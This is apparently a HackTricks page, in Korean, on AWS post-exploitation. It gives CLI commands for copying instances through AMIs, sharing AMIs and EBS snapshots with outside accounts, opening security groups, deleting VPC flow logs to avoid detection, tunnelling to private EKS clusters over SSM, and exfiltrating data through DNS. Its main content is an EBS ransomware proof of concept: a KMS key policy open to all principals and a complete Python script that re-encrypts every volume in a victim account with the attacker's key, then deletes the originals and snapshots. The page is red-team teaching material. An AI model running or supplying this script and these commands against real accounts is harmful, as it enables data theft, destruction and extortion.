AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 13 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

EC2 & VPC

자세한 정보는 다음을 확인하세요:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

악의적인 VPC 미러 - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC 트래픽 미러링은 VPC 내의 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.
공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:

자세한 정보는 이 페이지를 확인하세요:

AWS - Malicious VPC Mirror

실행 중인 인스턴스 복사

인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( EC2 권한 상승 트릭 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능):

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS 스냅샷 덤프

스냅샷은 볼륨의 백업으로, 일반적으로 민감한 정보를 포함하고 있으므로 이를 확인하면 이 정보를 공개할 수 있습니다.
스냅샷이 없는 볼륨을 발견하면 다음과 같은 작업을 수행할 수 있습니다: 스냅샷 생성 및 다음 작업 수행 또는 계정 내 인스턴스에 마운트하기:

AWS - EBS Snapshot Dump

데이터 유출

DNS 유출

EC2의 트래픽을 차단하더라도 여전히 DNS를 통해 유출될 수 있습니다.

  • VPC 흐름 로그는 이를 기록하지 않습니다.
  • AWS DNS 로그에 접근할 수 없습니다.
  • 다음과 같이 "enableDnsSupport"를 false로 설정하여 비활성화합니다:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

API 호출을 통한 유출

공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.

열린 보안 그룹

다음과 같이 포트를 열어 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다.

For more information check this.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM 포트 포워딩

필요한 권한:

  • ssm:StartSession

명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹이나 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 Bastion Host에서 개인 EKS 클러스터로 피벗하는 것입니다.

세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. 머신에 SessionManagerPlugin을 설치합니다.
  2. 다음 명령을 사용하여 Bastion EC2에 로그인합니다:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. AWS EC2 환경에서 SSRF 악용하기 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다.
  2. 자격 증명을 $HOME/.aws/credentials 파일에 [bastion-ec2] 프로필로 자신의 머신으로 전송합니다.
  3. Bastion EC2로 EKS에 로그인합니다:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config 파일의 server 필드를 https://localhost로 업데이트합니다.
  2. 다음과 같이 SSM 터널을 생성합니다:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. 이제 kubectl 도구의 트래픽이 Bastion EC2를 통해 SSM 터널을 통해 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다:
shell
kubectl get pods --insecure-skip-tls-verify

SSL 연결은 --insecure-skip-tls-verify 플래그(또는 K8s 감사 도구에서의 동등한 플래그)를 설정하지 않으면 실패합니다. 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 MitM 공격으로부터 안전합니다.

마지막으로, 이 기술은 개인 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 사용자 정의 애플리케이션으로 피벗할 수 있습니다.

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

공개 및 비공개 AMI에서 민감한 정보 검색

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel은 공개 또는 비공식 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색하기 위해 설계된 도구입니다. 이 도구는 대상 AMI에서 인스턴스를 시작하고, 볼륨을 마운트하며, 잠재적인 비밀이나 민감한 데이터를 스캔하는 과정을 자동화합니다.

EBS 스냅샷 공유

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다.

먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적인 행위자가 AWS의 통제를 벗어난 곳에 키 데이터를 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 주체가 키를 사용할 수 있도록 합니다. 이 키 정책의 경우, 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 합니다.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용할 수 있도록 다음을 활성화해야 합니다:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다.

Pasted image 20231231172655 Pasted image 20231231172734

S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. Pasted image 20231231173130

이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다.

Pasted image 20231231173338

또한 주목할 점은, 스크립트가 EC2 인스턴스를 중지하여 원래 EBS 볼륨을 분리하고 삭제했다는 것입니다. 원래의 암호화되지 않은 볼륨은 이제 사라졌습니다.

Pasted image 20231231173931

다음으로, '공격자' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거합니다.

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

잠시 기다려 새로 설정된 키 정책이 전파되기를 기다리십시오. 그런 다음 '희생자' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보십시오. 볼륨을 연결할 수 있음을 알게 될 것입니다.

Pasted image 20231231174131 Pasted image 20231231174258

하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨을 키를 사용하여 복호화할 수 없기 때문입니다. 키 정책이 더 이상 이를 허용하지 않기 때문입니다.

Pasted image 20231231174322 Pasted image 20231231174352

이것은 사용된 파이썬 스크립트입니다. '희생자' 계정의 AWS 자격 증명과 암호화에 사용될 키의 공개적으로 사용 가능한 AWS ARN 값을 가져옵니다. 이 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지하고, 원래 EBS 볼륨을 분리하고, 삭제한 다음, 프로세스 중에 사용된 모든 스냅샷을 삭제합니다. 이렇게 하면 대상 '희생자' 계정에 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하십시오. 파괴적이며 모든 원래 EBS 볼륨을 삭제합니다. 사용된 KMS 키를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 결국 이것이 랜섬웨어 PoC라는 점을 인지하시기 바랍니다.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기